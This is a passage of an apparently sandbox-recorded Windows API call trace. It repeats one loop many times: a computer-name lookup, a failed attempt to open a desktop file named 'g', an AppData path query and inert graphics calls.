pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.095] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.095] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.095] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.095] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.095] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.095] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.095] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.095] CloseHandle (hObject=0x0) returned 0 [0189.095] CloseHandle (hObject=0xffffffff) returned 1 [0189.095] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.095] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.095] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.095] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.095] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.095] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.095] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.095] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.095] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.095] CloseHandle (hObject=0x0) returned 0 [0189.096] CloseHandle (hObject=0xffffffff) returned 1 [0189.096] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.096] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.096] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.096] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.096] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.096] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.096] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.096] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.096] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.096] CloseHandle (hObject=0x0) returned 0 [0189.096] CloseHandle (hObject=0xffffffff) returned 1 [0189.096] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.096] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.096] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.096] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.096] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.096] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.096] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.096] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.096] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.096] CloseHandle (hObject=0x0) returned 0 [0189.096] CloseHandle (hObject=0xffffffff) returned 1 [0189.096] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.097] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.097] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.097] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.097] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.097] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.097] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.097] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.097] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.097] CloseHandle (hObject=0x0) returned 0 [0189.097] CloseHandle (hObject=0xffffffff) returned 1 [0189.097] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.097] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.097] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.097] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.097] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.097] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.097] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.097] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.097] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.097] CloseHandle (hObject=0x0) returned 0 [0189.097] CloseHandle (hObject=0xffffffff) returned 1 [0189.097] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.097] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.097] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.098] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.098] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.098] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.098] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.098] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.098] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.098] CloseHandle (hObject=0x0) returned 0 [0189.098] CloseHandle (hObject=0xffffffff) returned 1 [0189.098] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.098] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.098] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.098] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.098] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.098] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.098] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.098] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.098] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.099] CloseHandle (hObject=0x0) returned 0 [0189.099] CloseHandle (hObject=0xffffffff) returned 1 [0189.099] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.099] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.099] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.099] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.099] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.099] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.099] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.099] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.099] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.099] CloseHandle (hObject=0x0) returned 0 [0189.099] CloseHandle (hObject=0xffffffff) returned 1 [0189.099] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.099] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.099] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.099] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.099] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.099] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.099] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.099] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.099] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.099] CloseHandle (hObject=0x0) returned 0 [0189.099] CloseHandle (hObject=0xffffffff) returned 1 [0189.099] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.100] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.100] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.100] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.100] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.100] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.100] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.100] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.100] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.100] CloseHandle (hObject=0x0) returned 0 [0189.100] CloseHandle (hObject=0xffffffff) returned 1 [0189.100] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.100] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.100] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.100] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.100] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.100] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.100] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.100] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.100] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.100] CloseHandle (hObject=0x0) returned 0 [0189.100] CloseHandle (hObject=0xffffffff) returned 1 [0189.100] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.100] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.101] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.101] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.101] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.101] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.101] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.101] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.101] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.101] CloseHandle (hObject=0x0) returned 0 [0189.101] CloseHandle (hObject=0xffffffff) returned 1 [0189.101] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.101] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.101] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.101] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.101] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.101] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.101] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.101] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.101] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.101] CloseHandle (hObject=0x0) returned 0 [0189.101] CloseHandle (hObject=0xffffffff) returned 1 [0189.101] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.101] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.101] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.101] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.102] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.102] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.102] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.102] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.102] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.102] CloseHandle (hObject=0x0) returned 0 [0189.102] CloseHandle (hObject=0xffffffff) returned 1 [0189.102] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.102] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.102] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.102] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.102] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.102] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.102] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.102] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.102] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.102] CloseHandle (hObject=0x0) returned 0 [0189.102] CloseHandle (hObject=0xffffffff) returned 1 [0189.102] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.102] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.102] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.102] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.102] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.103] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.103] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.103] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.103] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.103] CloseHandle (hObject=0x0) returned 0 [0189.103] CloseHandle (hObject=0xffffffff) returned 1 [0189.103] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.103] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.103] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.103] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, 